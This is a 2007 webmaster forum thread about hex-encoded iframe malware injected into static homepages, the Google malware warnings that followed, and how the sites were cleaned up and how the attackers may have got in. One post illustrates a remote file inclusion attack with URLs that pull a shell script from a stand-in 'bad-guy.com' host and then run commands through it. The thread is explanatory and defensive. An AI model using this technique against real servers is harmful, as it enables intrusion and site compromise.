Forum Moderators: Robert Charlton & goodroi
The referrer is as follows: "http://www.google.dk/interstitial?url=http://www.mysite
The site in question has currently a PR6, contains nothing but plain text pages.
Is there any idea as to how this can happen?
Thank you in advance.
For the last two hours or so, I am sweating cold out of fear of being banned by Google.
The site in question is my cherished one, and is performing excellently (at #2 or 3) for many keywords.
Upon checking, I noticed that a javascript code was inserted at the beginning of my index.html page (before the <head> tag. The code is an hexadecimal code. When converted to ASCII, it reveals an iframe pointing to an internet address that attempts to download a program (that crushes on my ME system).
Also, I noticed that the page was modified on March 2nd. That is to say, my homepage is running with that code for the last 10 days!
I immediately removed the code, and reported it to stopbadware.org.
Now, I am really trembling lest it may harm my site's ranking in the eyes of Google permanently. ):
I removed the IP address - we don't
want to spread viruses here either!
[edited by: tedster at 2:41 am (utc) on Mar. 13, 2007]
The iframe code is not in our files ... but it still appears on user's computers, above our HTML code.
How did you solve it?
I read your post. It seems somehow different. In my case, it is isoleted to a single html file (hopefully), and therefore easily corrected. I simply removed the virus loading script from the html page. That is to say, my page is not infected. It only attempts to download the virus into the user's computer. On the other hand, your server seems infected. I cannot call myself knowledgeable, but I think that you may need some virus checking software on the server side.
We had to clean up the whole server and even buy another one just in case. It was a nightmare for 15 days. (from end of feb to 1 week ago).
I am still not sure how they managed to do that, so many times, randomly for so long, with 3 server admins sniffing around.
It attacked static files ending in *index.* all accounts were infected at the same time.
the iframe was redirecting to sites in russia. I still can't figure out why/how/when these sites will be banned forever, not talking about banning form Google but removing privilege of operating a domain.
If someone has more info about the procedures these hackers use it will be welcome I guess.
Tedster >> great info as usual.
Upon checking, I noticed that a javascript code was inserted at the beginning of my index.html page (before the <head> tag.
and, in a later message:
I read your post. It seems somehow different. In my case, it is isoleted to a single html file (hopefully), and therefore easily corrected. I simply removed the virus loading script from the html page. That is to say, my page is not infected.
Someone gained access to your machine. The attacker had (probably still has) the right to change files on your machine. This particular file seems to be clean at this moment, but you don't know what else they are doing that you are NOT seeing at this point.
Typical intrusion points are insecure PHP scripts and forms.
Please consider what someone can do who has file writing privileges on your server:
- use your machine as a storage space for file sharing (read: distribute illegal copies of new movies)
- use your machine to store and share child porn
- use your machine to send out millions of spam mails
- add your machine to a botnet and rent it for attacks (as in: blackmailing online businesses with DDOS attacks)
- download confidential info from your machine like credit card info, passwords
- use your machine as a landing platform for online fraud
They could as well use a new email account @your-machine.com.
You, as the owner of the machine, will be held responsible for all this.
Security has been breached on your system. There is only ONE reasonable reaction to this. As the system is compromised, it ought to be set up again from scratch, which means above anything else the underlying operating system must be re-installed. Afterwards, your HTML files can be copied back onto the machine.
Thank you for your comments. In fact, the affected page is a static html file. It contains no php script. As a precaution, I immediately changed the password. But I am researching other possible means to protect the site from further attacks, including resetting the my account. From now on, I will closely monitor the site, and at the first indication that there might be similar problems, I will reset the site without hesitation.
After hacking, even if my ranking is not affected, it is certain that the image of my site will suffer for the duration of the warning notice. Being a spammer or a malware owner in the eyes of visitors is not something to be welcomed.
When it comes to punishing, Google is really quick to act. But, as an innocent victim of a malicious attack, I would like to be warned before placing a warning notice for the surfers. This can be considered at least for those webmasters who already have an account with google through webmaster tools, adwords, or adsense. Google has my full contact details, and if Google had sent me a message (automatic or not), I would immediately remove the injected code, and be very grateful indeed.
Now, I have to resort to a roundabout way, and wait until someone reviews my site, notify Google, etc. This, imho, is really sad.
[edited by: tedster at 1:03 am (utc) on Mar. 14, 2007]
Yes Google could have informed you first. OTOH, if not for that warning you'd still be injecting spyware onto people's computers. Bottom line is that they had to do your job for you. I'm not hearing that gratitude.
I got a vicious trojan once because I visited an infected site, which took me days to finally remove. I agree with you, webmasters shouldn't be whining about losing ranking on Google because they weren't notified and the world didn't stop to make sure their feelings weren't hurt. It's up to webmasters to have secure web sites and be vigilant about it. They should be more worried about the hundreds of computers they infected rather than their precious little web sites getting a bad rep.
Changing your password was a good first step. If your password was a bad one, then that would have been an easy (and common) avenue of attack.
If your password was a strong one, then they probably got in by some other method, and that's what you need to investigate.
On second thought, I see that friends like Jomaxx and Koan have a point in saying that notifying the wembaster would not save uninformed surfers. It is probable that computers of hundreds of visitors were already exposed to the malware due to the injected javascript code on my page before I got aware of the situation.
But I have a reservation here: Google is not the only source of traffic for the websites. After Google's malware warning, my traffic dropped by 60%. Now, I receive traffic from other search engines, from relevant directories, forum discussiens, etc. So, visitors coming from these sources are not aware of the potential malware, and therefore are exposed to them. Should Google notified besides placing a warning, remaining 35% of the visitors could be saved.
Interestingly, I still receive a decent traffic from google in spite of the warning note. When a visitor clicks link to my site, he/she is not directly transferred to the site, but instead to a warning page. Some visitors seem ignoring this warning page. I can say that 20% of my current traffic is referred by Google!
- use your machine as a storage space for file sharing (read: distribute illegal copies of new movies)Any tips on getting people to do this to my server? (dreams of logging in and seeing a library of new movies!)
If I understand correctly most of the time these hacks point to the exact same sites and I think that meaures should be taken to put down companies generating such problems in the first place.
Penalizing webmasters is temporary solution, put down spam networks legally/officially for what they do and prevent them from owning any internet property is the way to go.
Thank you for your comments. In fact, the affected page is a static html file. It contains no php script. As a precaution, I immediately changed the password. But I am researching other possible means to protect the site from further attacks, including resetting the my account. From now on, I will closely monitor the site, and at the first indication that there might be similar problems, I will reset the site without hesitation.
Maybe I should explain this a little more extensively. We had a similar problem on our server. It was abused for file sharing though. We had a CMS running, which had a remote file inclusion vulnerability. (Mind you, this is only one example among many many other possibilities). I'll simplify it a little.
The CMS would call a subroutine:
http://www.my-server.com/include=my_subroutine
The input of "my_subroutine" was not sanitized - a flaw in the software. All the attacker had to do was:
http://www.my-server.com/include=http://bad-guy.com/malicious_code.php
"malicious_code" would be, for example, a shell script. This script was stored on my server, and then this guy could call
http://www.my-server.com/malicious_code.php?command=[many nasty things]
So they installed their own server management software by means of a flawed piece of software, and from that moment on they could manipulate the system. Including static html pages like those on your site. In other words, the weak point is NOT the HTML file you are looking at. The problem is somewhere else. Someone gained and most likely still has access to your system, and they are able to do with your files whatever they want. And if they are really really clever they will do it without any obvious sign.
Do you have sensitive information in a mysql database, like credit card info of your customers? These PHP shell scripts may have a mysql access too. Add a weak mysql passwort to this, and they are already selling your confidential info to interested third parties.
Your machine is compromised. You can't trust it any longer.
You may want to google for expressions like "root kit", "r57 shell", "remote file inclusion", then you will get an idea of what happened to your server. The altered html file is but the tip of the iceberg. By means of an additional kernel vulnerability they may have even gained root access. This would mean that they can show you whatever they want, while they are doing something else.
A compromised server in the hands of an unknown attacker is the cyberspace equivalent to a loaded gun in the hands of whoverer in a busy mall. Once they have gained access to your system, and they did, they can do ANYTHING. Including sending death threats to the president, if they wish. You'd have a hard time saying "But it wasn't me, it was someone else." It's your system, you are responsible.
Let's assume you're buying something at ebay or amazon, your credit card info is stolen from their hacked server, and your accounts are billed to like crazy. Imagine you complain (Hey, I've only bought this book at $10, not the holiday home at $2.000.000), and they would say: "Oh, we are so sorry, but we are not liable. You see, it was someone else."
I'm sure you get the picture.
BTW the intrusion did not necessarily originate from your own account on that server. If it's virtual hosting, maybe a different web site was hacked, and by means of privilege escalation they are working their way through all accounts on that server now. Maybe you should talk to your provider. If your site is on a dedicated server, and if you are the owner, you should reset it immediately.
[googlewebmastercentral.blogspot.com...]
Google should give a reasonable amount of time for the website owner to fix the problem. Most websites are harmless and they must know that... Penalizing webmasters is temporary solution.
They're not penalizing the webmaster or the site, just warning surfers. Consider: if your site is trying to infect all its visitors with a virus, do you still want people to come visit it? I would hope not.
Google no doubt knows that more than 99.9% of all websites are non-malicious, and in fact that is probably one test they use to distinguish what constitutes a hack. If your site is about archaeology in Colorado and suddenly sprouts porn links, that's obviously not normal.
torson
That is quite an interesting situation.
I think someone installed badware on my workstation and read the local ftp password database of the ftp programm or was listning to my ftp connection.
Were you using firewall and antivirus software at the time of the hack? Or start using them afterward? The obvious question would be, how would badware get in, with those in place?
Did you find and identify the badware?
[edited by: SteveWh at 11:16 pm (utc) on Mar. 14, 2007]
Was this at work or at least some computer over which you didn't have total control (i.e. not your home PC)?
My computer, no one else is working with
Were you using firewall and antivirus software at the time of the hack? Or start using them afterward? The obvious question would be, how would badware get in, with those in place?
The computer was protected all the time, but it is not obvious because antivir programs are always one step behind.
Did you find and identify the badware?
This is what makes me nervous. I used 3 different antivir programs for checking the computer, but I found nothing.
The only connection between the two domains hosted by different providers is my workstation. There are no scripts running on the domains, only simple pure html pages. The badware on both domains were installed on the same day by updating the index page via ftp. Just one connect, got the file (insert the code by hand? ~1 minute until send) renamed the page, sent a new page and bye. At the time the problem happened, there were also for 4 other domains saved with the complete connection profile in my ftp program. Only two domains were affected. Very strange, I´m not sure what happened, but the only chance to get the passwords was my computer. I think the computer needs a new installation, a lot of work but it´s nescesarry.
I'm always skeptical about password-interception theories, but it is technically possible, so you can't completely discount it.
Since you know the IP address of the hacker (it's in your FTP log), you can block them in .htaccess. That's one line of protection.
But your story is the kind that makes me nervous, too. Strong password. Pure HTML... I'd suggest the possibility of a hacker having gained server-wide access through some other account - but not at two different hosts at once! Or maybe so. Don't know. If you haven't already notified your hosts, it might be worth doing so. They might want to do a sweep of their entire clientele to check for other affected sites.
[edited by: tedster at 7:29 am (utc) on Mar. 15, 2007]
WeirdCode & SteveWH:
Thank you for your insightful comments. Now, I am studying some papers on vulnerabilities involving php, as my site hosts a dictionary with some php code. However, I have a suspect. A free php script that I installed recently has an upload option for updating database. But this updating script is not password protected. I do not know if the coder delibrately left it as it is, but it might be culprit. So I deleted it.
As to Google's removal of the warning note: I applied to stopbadware.org for review. But my site's status is still "underetmined" at stopbadware.org. Meanwhile, Google recrawled my site the day before yesterday.
Right now, I see that Google removed the warning note with a fresh cache dated 13th March.
This may mean that after re-crawling and analysing the page, Google chose to remove the note, and did not wait for a report from stopbadware.org. This is really a good news for me, and may be a good news for anyone concerned.
As a side note, I see a rapid increase in the number of reported sites at stopbadware.org. On 12th Feb, the number of sites reported was around 25,900. Today, I read the number as above 27,300. This means that within just 3 days, around 1500 new sites were reported. This is really alarming.
May your intruder had the same ip (131.229.183.nnn).
selomelo,
I'm glad to hear it was easy to clear up with Google. If the process stays that streamlined, then it will help everyone.
Your suspect sounds like a "possible". If it takes any input from a user OR from a URL OR from a cookie, it also needs to "escape" it (clean it) before it uses it for any type of database access, to avoid injection attacks.
